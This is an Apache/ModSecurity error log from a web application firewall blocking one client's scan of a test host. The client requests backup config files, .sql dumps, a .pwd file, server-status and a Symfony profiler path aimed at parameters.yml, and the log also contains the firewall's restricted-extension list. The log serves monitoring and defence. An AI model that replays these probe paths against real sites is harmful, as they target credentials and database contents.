[Thu Feb 26 01:03:34.243061 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmKgAAAAI&quot;]
[Thu Feb 26 01:03:34.285810 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmKwAAAAI&quot;]
[Thu Feb 26 01:03:34.286126 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmKwAAAAI&quot;]
[Thu Feb 26 01:03:34.286434 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmKwAAAAI&quot;]
[Thu Feb 26 01:03:34.286618 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmKwAAAAI&quot;]
[Thu Feb 26 01:03:34.337650 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLAAAAAI&quot;]
[Thu Feb 26 01:03:34.338188 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLAAAAAI&quot;]
[Thu Feb 26 01:03:34.338384 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLAAAAAI&quot;]
[Thu Feb 26 01:03:34.371614 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLQAAAAI&quot;]
[Thu Feb 26 01:03:34.372187 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLQAAAAI&quot;]
[Thu Feb 26 01:03:34.372359 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLQAAAAI&quot;]
[Thu Feb 26 01:03:34.398629 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLgAAAAI&quot;]
[Thu Feb 26 01:03:34.399159 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLgAAAAI&quot;]
[Thu Feb 26 01:03:34.399332 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLgAAAAI&quot;]
[Thu Feb 26 01:03:34.434390 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLwAAAAI&quot;]
[Thu Feb 26 01:03:34.434922 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLwAAAAI&quot;]
[Thu Feb 26 01:03:34.435085 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmLwAAAAI&quot;]
[Thu Feb 26 01:03:34.461067 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmMAAAAAI&quot;]
[Thu Feb 26 01:03:34.461614 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmMAAAAAI&quot;]
[Thu Feb 26 01:03:34.461781 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress.sql&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmMAAAAAI&quot;]
[Thu Feb 26 01:03:34.482879 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service.pwd&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVdQAAAAc&quot;]
[Thu Feb 26 01:03:34.483415 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service.pwd&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVdQAAAAc&quot;]
[Thu Feb 26 01:03:34.483593 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service.pwd&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVdQAAAAc&quot;]
[Thu Feb 26 01:03:34.510622 2026] [authz_core:error] [pid 2330790] [client 185.177.72.22:11396] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Thu Feb 26 01:03:34.568858 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVeAAAAAc&quot;]
[Thu Feb 26 01:03:34.569360 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVeAAAAAc&quot;]
[Thu Feb 26 01:03:34.569516 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVeAAAAAc&quot;]
[Thu Feb 26 01:03:34.583002 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;parameters.yml&quot; at ARGS:file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;96&quot;] [id &quot;930120&quot;] [msg &quot;OS File Access Attempt&quot;] [data &quot;Matched Data: parameters.yml found within ARGS:file: app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dev.php/_profiler/open&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmMwAAAAI&quot;]
[Thu Feb 26 01:03:34.583438 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dev.php/_profiler/open&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmMwAAAAI&quot;]
